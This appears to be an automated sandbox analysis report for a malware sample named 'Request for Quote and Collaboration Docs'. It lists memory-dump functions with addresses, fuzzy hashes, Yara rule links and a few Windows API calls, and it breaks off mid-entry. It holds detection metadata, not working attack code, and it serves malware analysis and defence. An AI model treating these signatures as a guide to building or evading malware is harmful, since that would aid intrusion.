Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b17076830d50c63469e88913b2c96052dfe55a2b47e9de12af9999b95b9d34
Instruction ID: a904745d054a79b6960874d7ebbbdda6e5aab43cf23e7d6619b177cbfd7bb8de
Opcode Fuzzy Hash: d3b17076830d50c63469e88913b2c96052dfe55a2b47e9de12af9999b95b9d34
Instruction Fuzzy Hash: 71F1F574E04258CFEB14DFA9D884B9DBBB2BF88304F5082A9D408AB355DB759D86CF50

Function 3A605FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36647d73b182d457704fb053e7175ae21c52a1c4d9b3ea64cc190eafc4a5a316
Instruction ID: cb7e3e09212c1a0e60b1f0a464b88f236f42ef338d7100d089d8aa4d4dbdc7f5
Opcode Fuzzy Hash: 36647d73b182d457704fb053e7175ae21c52a1c4d9b3ea64cc190eafc4a5a316
Instruction Fuzzy Hash: 30E1AD74E01218CFEB65CFA9C944B9DBBB2BF88300F2091A9D419B7391DB755A86CF10

Function 398C7B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9477c6a50ad6c5f2494428728a2334e69fdc3a859098b9eda0aaea27b652ed4
Instruction ID: 063f092acb17eea7e4d6cd7c13e086d54eca9ebc73402b63107d7b39369ef407
Opcode Fuzzy Hash: f9477c6a50ad6c5f2494428728a2334e69fdc3a859098b9eda0aaea27b652ed4
Instruction Fuzzy Hash: E0E1AE74E01218CFEB54DFA9C844B9DBBB2BF89304F2081A9E409B7391DB759A85CF50

Function 3A631CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a27aad0bea9255af17d6a3fa55663e1d108603eba76ce892f45f13f05f712a
Instruction ID: 528bf82cc1e6de9bd665efc3078ace4293bd9191b2aecce9c451599449e31b30
Opcode Fuzzy Hash: 04a27aad0bea9255af17d6a3fa55663e1d108603eba76ce892f45f13f05f712a
Instruction Fuzzy Hash: 73D1A174E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9D509AB395DB359E82CF50

Function 3A606678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb2b034154601d20b20e99513f52e18feaa166e4201126332ecb6b662578341
Instruction ID: 2296a7e47d0b050c3f749e5cb9cad166a3796b5145a5ca18f24b7408f098d4ee
Opcode Fuzzy Hash: 3fb2b034154601d20b20e99513f52e18feaa166e4201126332ecb6b662578341
Instruction Fuzzy Hash: 4FD1A078E01218CFDB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398C8FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79a86c7aadadb6ee081b79da17d180fc3644ec637720827612190d254b3b2459
Instruction ID: ecf1fad5804a33b917b236a42c622b518df6c7771e116c27d9718567f8ffe504
Opcode Fuzzy Hash: 79a86c7aadadb6ee081b79da17d180fc3644ec637720827612190d254b3b2459
Instruction Fuzzy Hash: 36D19074E01218CFDB55DFA9C944B9DBBB2BF89300F1090A9D809AB355DB759D86CF10

Function 398A2968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948949f831054c57e0993fc9752069e17a926dc440ea2aa1119fdea3c294eb9b
Instruction ID: 52732ebb533fdcc61072521c345443b39a2c640c75bb754c69408576a262817b
Opcode Fuzzy Hash: 948949f831054c57e0993fc9752069e17a926dc440ea2aa1119fdea3c294eb9b
Instruction Fuzzy Hash: 57C19074E01218CFEB54DFA5C944B9DBBB2BF89300F1091A9E809AB355DB359A81CF50

Function 3A673E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91e622920079381dbd4d9e24757d33d65d93c28873900fe0e873d45efa686df
Instruction ID: 643ae94bad1ea4345cb96fcfc16434ab0788e7cb734064a3551008a0a0fa1f0e
Opcode Fuzzy Hash: a91e622920079381dbd4d9e24757d33d65d93c28873900fe0e873d45efa686df
Instruction Fuzzy Hash: D5917775915619DFEB04AFE0C9587EEBBB1FB5A302F006429E002772E0CB784A45DF91

Function 3A673E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5153e0b170d74d81acae1d89d5540e7a66170500501b97b8b3ebcadf744f221c
Instruction ID: e6b69b7fc143ed530874f13dae07e7a1a980b2233b7b7ab773710f066352acc8
Opcode Fuzzy Hash: 5153e0b170d74d81acae1d89d5540e7a66170500501b97b8b3ebcadf744f221c
Instruction Fuzzy Hash: 4C916575915619DFEB04AFE0C9587EEBBB1FB5A302F006429E002772E0CB784A85CF91

Function 0016C147 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f51c399d24f309322e9f365c157f7ddb66be71dd2ea2308762f2bcdfee838f77
Instruction ID: ace4c361c06fda58c364218528f4a1f1092e51089fb505e54103476a96ae1aad
Opcode Fuzzy Hash: f51c399d24f309322e9f365c157f7ddb66be71dd2ea2308762f2bcdfee838f77
Instruction Fuzzy Hash: D5A10974E00258DFDB14DFA9D894AADBBF2BF89300F158169E849AB361DB709D42CF50

Function 398A2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53e9c4e273ee0ffa1e60500448f90844b2087c9ff998789ac50f550313f3e1b
Instruction ID: b8a06ec67aa610594b141b70fc2ee80e2e7a1abdf04a2793960885bd44cfab8e
Opcode Fuzzy Hash: b53e9c4e273ee0ffa1e60500448f90844b2087c9ff998789ac50f550313f3e1b
Instruction Fuzzy Hash: ACA1E374D00218CFEB14DFA9C944B9DBBB1FF89314F20926AE408B72A2DB759985CF54

Function 398A1E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b58ba273747d6171c386bb4a9cff92192b1dfce8d14b1fcc3ba0591857233ea9
Instruction ID: 9c514a3e63ec213965432772e3e91698da95c411f8649d7f0b3d08a15bb72362
Opcode Fuzzy Hash: b58ba273747d6171c386bb4a9cff92192b1dfce8d14b1fcc3ba0591857233ea9
Instruction Fuzzy Hash: 8EA19375E012288FEB64CF6AC944B9DFBF2BB99300F14C1A9D408A7254DB745A85CF51

Function 398A2DC2 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e2159e5f68d0233551a27be165f904b0760a4cbfc52735cd4ac210a6d32113
Instruction ID: 7b0044d12bb693e076197ef5e8d6ce1281a1f5bed1b0a381f7983b1429c547ea
Opcode Fuzzy Hash: 37e2159e5f68d0233551a27be165f904b0760a4cbfc52735cd4ac210a6d32113
Instruction Fuzzy Hash: 92A1D274D002188FEB14DFA9C945B9DBBB1FF89304F209269E408B72A2DB759985CF54

Function 398A17A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce79fba0b279df51bef1232483af4b050adb4cb40b9fa603302f2f2c43e75291
Instruction ID: fe101370909e5f1544e0c678b2fd92123f00643d6e28e75a3c53ec536847d9c3
Opcode Fuzzy Hash: ce79fba0b279df51bef1232483af4b050adb4cb40b9fa603302f2f2c43e75291
Instruction Fuzzy Hash: 12A191B5E012298FEB64CF6AC944B9EFBF2BF89300F14C1A9D408A7250DB745A85CF51

Function 398A310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c661673494717270761a434aac4d2b3089df36e3198cc919e3899ebb60f31fb0
Instruction ID: fd2cef776a283bf43ef4481132b01eda219e819e44183bd9047b5399a9fa7675
Opcode Fuzzy Hash: c661673494717270761a434aac4d2b3089df36e3198cc919e3899ebb60f31fb0
Instruction Fuzzy Hash: 3591D374D00218CFEB10DFA5C845B9DBBB1FF89314F20926AE409B7291DB759985CF54

Function 3A6270C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa345fe5083b4765394038e7d9521df1a4bc4393c1ea293ae95637665d62028
Instruction ID: ddb76bc7c45d06f9bfadea91e575bda20a992f73535fe2051f93748de83d4da3
Opcode Fuzzy Hash: 5fa345fe5083b4765394038e7d9521df1a4bc4393c1ea293ae95637665d62028
Instruction Fuzzy Hash: 7B81BF74E00218CFEB14DFE9C880A9DBBB2BF89300F249129D815BB355EB759946DF50

Function 3A638470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb98221802a75e88bc6c813c6825c59aeaa08f98c4114fea059d7aec2e85c275
Instruction ID: 6669651c17612b78dd46f15e49727592662929a6783359ebdd475cc47676c42f
Opcode Fuzzy Hash: eb98221802a75e88bc6c813c6825c59aeaa08f98c4114fea059d7aec2e85c275
Instruction Fuzzy Hash: 8381BE74E01218CBEB44DFE9D890ADDBBB2BF88300F249129D415BB395DB759946CF50

Function 3A63FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f19415a95e80ffbe5e8b845245cc2011c765bd441e52833bd790db2fb0e556
Instruction ID: 93315cf88e4e474a874b2545160de08f85a5a6d82b9cc19ffb0ca5e6a78c495b
Opcode Fuzzy Hash: 14f19415a95e80ffbe5e8b845245cc2011c765bd441e52833bd790db2fb0e556
Instruction Fuzzy Hash: C281C074E01218DFEB04DFE9D880A9DBBB2BF88300F209129E815BB395DB759942DF50

Function 398AFC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad4697052a18b2104ce5e7641aa73e5d8e69e8115857cd3fdbfb8b7c03df6e0a
Instruction ID: 1f035db44000efdd9d1925bbe45632bd5da28ff9ad25b2e8091a3d899c29ac83
Opcode Fuzzy Hash: ad4697052a18b2104ce5e7641aa73e5d8e69e8115857cd3fdbfb8b7c03df6e0a
Instruction Fuzzy Hash: 7D81AE74E00218CBEB44DFE9D890AADBBB2BF88300F209129E815BB355DB759942DF50

Function 00165362 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3324b1d48ebba1d8dd665cc330f42cc272c3eb906e75ea184ab48dc5dee28934
Instruction ID: 6a0b4617618e0e0feae633d346a6b989407ef7c6de27f76da3351474de6bf72a
Opcode Fuzzy Hash: 3324b1d48ebba1d8dd665cc330f42cc272c3eb906e75ea184ab48dc5dee28934
Instruction Fuzzy Hash: 6A91F674E00658CFDB18CFAAC884A9DBBF2BF89300F14D169E409AB361DB749985CF50

Function 0016C468 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8fe76ad754324a9bb4b20919c0260a42d24c7e9a24f87128ec92034d1ac82d
Instruction ID: 67f9d892c0a0894d8fa72c65e120bcc64b5c41490f66f249ad2636b407a5803b
Opcode Fuzzy Hash: de8fe76ad754324a9bb4b20919c0260a42d24c7e9a24f87128ec92034d1ac82d
Instruction Fuzzy Hash: B681C774E00258CFEB14DFAAD884AADBBF2BF88300F14D169E459AB365DB749941CF50

Function 0016D278 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d4ff55bf16410f40871cd6ee1915a4553ed2f51cc518b6f0e51b617f3c42ed
Instruction ID: 01d668f9a313f2ac615932dc831154ddc616b6c0925cf8bcdc5d5302c680796b
Opcode Fuzzy Hash: f3d4ff55bf16410f40871cd6ee1915a4553ed2f51cc518b6f0e51b617f3c42ed
Instruction Fuzzy Hash: BC81A474E00258CFDB14DFAAD844A9DBBF2BF89300F149169E409AB365DB749D85CF50

Function 0016CA08 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9156fef8fcb98daf1f73abce0e273f89c36adf99aac5f50673d0d59155d0d961
Instruction ID: 05aebb03ce48217ec51b87c23834de9f2490d881fa0991f429d9283a4f59ff1a
Opcode Fuzzy Hash: 9156fef8fcb98daf1f73abce0e273f89c36adf99aac5f50673d0d59155d0d961
Instruction Fuzzy Hash: 5C81C574E00218CFDB14DFAAD844AADBBF2BF89300F14D169E459AB365DB749941CF50

Function 0016C738 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7265c64ffdacba1c4a1ebad965a4dedf3c4d8571f45324e9c1aac0f954896c79
Instruction ID: 7544ccd285505c6076a96fbfef5e2cca8f0bbb8a19fbaf0e371f764011290668
Opcode Fuzzy Hash: 7265c64ffdacba1c4a1ebad965a4dedf3c4d8571f45324e9c1aac0f954896c79
Instruction Fuzzy Hash: C381F674E00218CFDB14DFAAD844AADBBF2BF89304F10D069E448AB365DB749941CF50

Function 0016CCD8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13aa7bd1a10c73a2612bd274f870d705f6188d73412947899248989bea8b6ec9
Instruction ID: ee04f7d091151a99d0e010adcbe48c88139b3eee8b60966635e3dc45d2087423
Opcode Fuzzy Hash: 13aa7bd1a10c73a2612bd274f870d705f6188d73412947899248989bea8b6ec9
Instruction Fuzzy Hash: 2C81D474E00218CFDB14DFAAC884A9DBBF2BF89300F14D069E459AB365DB749981CF50

Function 0016CFAB Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ddd28b48c3d76b1b5bdd6fc0d8c8f5ba1b30fbb4019e9ccc6c5912f17d2c917
Instruction ID: 55d1b5dca32163b77b303cd3d9ec5bdc53a77e7fe24a70651ea4fabc13163f00
Opcode Fuzzy Hash: 3ddd28b48c3d76b1b5bdd6fc0d8c8f5ba1b30fbb4019e9ccc6c5912f17d2c917
Instruction Fuzzy Hash: E381C574E00258CFDB18DFAAD884A9DBBF2BF89300F14D169E409AB365DB749981CF10

Function 398A0B20 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17962c466be3507ddb4b62bbdf972ba4e119165c5f1c1cd6ec1a0d5d7d4d6df9
Instruction ID: a8509a61a0c591fd2db017feda0638fc656b16077ec9427469f375e933f12d91
Opcode Fuzzy Hash: 17962c466be3507ddb4b62bbdf972ba4e119165c5f1c1cd6ec1a0d5d7d4d6df9
Instruction Fuzzy Hash: C671A475E01228CFDB64CF66C9847DDBBF2BF99301F1091AAE409A7254DB346A86CF40

Function 398A178F Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1b9376e5f87872a13e7fb259657317fbf9aba6da5741e76c0115771804d1cd
Instruction ID: d8a228f6eee828292345097560868e4708e6f017be37445e057e248f72b743ac
Opcode Fuzzy Hash: 6a1b9376e5f87872a13e7fb259657317fbf9aba6da5741e76c0115771804d1cd
Instruction Fuzzy Hash: 7D8187B5D016288FEB68CF6AC944B9EFBF2AF89300F14C1E9D408A7254DB745A85CF51

Function 0016E97B Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da1bbe3c6a5e90eee7f4bde829d9984905c8f515d8949d621c5c87bc8ec8fe2
Instruction ID: fb4a551f0326f4567f0784d2e35ebaac4ae508d80d55f1a4f7185f8a8f93b7ad
Opcode Fuzzy Hash: 0da1bbe3c6a5e90eee7f4bde829d9984905c8f515d8949d621c5c87bc8ec8fe2
Instruction Fuzzy Hash: 4A519674E00208DFDB18DFEAD894A9DBBB2FF89300F24912AE815AB365DB705851CF54

Function 0016E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808b8a192c1076eefa0f327227179e611a02254dc4125782d4f0a0c3008fae02
Instruction ID: a63e7b78dce0e7066e846f4b01baf6fede233c55117767a7366f3e73fd930897
Opcode Fuzzy Hash: 808b8a192c1076eefa0f327227179e611a02254dc4125782d4f0a0c3008fae02
Instruction Fuzzy Hash: C3519474E00208DFEB18DFEAD884A9DBBF2BF88300F249129E815AB365DB705941CF14

Function 3A60663E Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63804a3a04ccfb8208530a46e6ba2a8149ffe0679da398e2412d6e2bab95e371
Instruction ID: d98f7b40d4e96db86ebb41b3fb5be31ccd279866472a6cb121262797f0f59338
Opcode Fuzzy Hash: 63804a3a04ccfb8208530a46e6ba2a8149ffe0679da398e2412d6e2bab95e371
Instruction Fuzzy Hash: 124147B4E042488FDB59CFAAD8507DDBBB2BF89300F54D06AC018AB265EB745982CF50

Function 3A605FC7 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2103624eceb7f7f65daaeb060d537b3cba5ddd5fb3a20ddbd802a32eefc180e
Instruction ID: 1f39c7f6eac0e242656941ad07a94fcee4f3538eab53759606edb1a09fc81ef8
Opcode Fuzzy Hash: e2103624eceb7f7f65daaeb060d537b3cba5ddd5fb3a20ddbd802a32eefc180e
Instruction Fuzzy Hash: 3A51E2B4E052088BEB18CFAAC8507DDBBF2BF89304F24D169C418BB294DB755986CF50

Function 3A631CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09354dbffbed4452553f38841f210edce6fd8ba0a73804144791f3d05ffaed23
Instruction ID: 4c54f86cd2de997012d396e2902397b3d868089843d8fd2adee82ce4109e64cc
Opcode Fuzzy Hash: 09354dbffbed4452553f38841f210edce6fd8ba0a73804144791f3d05ffaed23
Instruction Fuzzy Hash: E6411474E012188BEB58CFAAD9407DDBBF2BF89300F14D169C518BB2A4EB355942CF40

Function 3A67B1EA Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A67B276
GetCurrentThread.KERNEL32 ref: 3A67B2B3
GetCurrentProcess.KERNEL32 ref: 3A67B2F0
GetCurrentThreadId.KERNEL32 ref: 3A67B349

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bb4b0d072779dc1e83efd9e04a3bebfe33d5898dfe66eb7ec306b66ff68ef106
Instruction ID: fc5ed67c828c099eabb690edbef2aa28709c05cd1fd2ff1829260893effa0a33
Opcode Fuzzy Hash: bb4b0d072779dc1e83efd9e04a3bebfe33d5898dfe66eb7ec306b66ff68ef106
Instruction Fuzzy Hash: 3D5176B0901349CFDB44DFAAD548BAEBBF1FF88314F208459D01AA7261DB79A940CB65

Function 3A67B1F8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A67B276
GetCurrentThread.KERNEL32 ref: 3A67B2B3
GetCurrentProcess.KERNEL32 ref: 3A67B2F0
GetCurrentThreadId.KERNEL32 ref: 3A67B349

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1e36b15a3010ba14d5e89a6bea33ecc2c3a5a262035a2207e8342bea539423d1
Instruction ID: 5230f2841be0ed52e678b3d40148f1a191ee21ab07afe26882553c435d11f4c7
Opcode Fuzzy Hash: 1e36b15a3010ba14d5e89a6bea33ecc2c3a5a262035a2207e8342bea539423d1
Instruction Fuzzy Hash: 585145B0901349CFDB44DFAAD548BAEBBF1EF88314F208459E019A7261DB79A940CB65

Function 398A3A50 Relevance: 4.0, Strings: 3, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 398A3B4D
x4:7, xrefs: 398A3C39
x4:7, xrefs: 398A3BD3

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: $x4:7$x4:7
API String ID: 0-3498138463
Opcode ID: 1d43183c21fc5bd637ea5e853920598a7cd109e3a33be1f05fbca5c7f64224de
Instruction ID: 81dc4991fbc6fbd3099ea2d7fa1214431c61b2a652c0bc25c992aabd329bf109
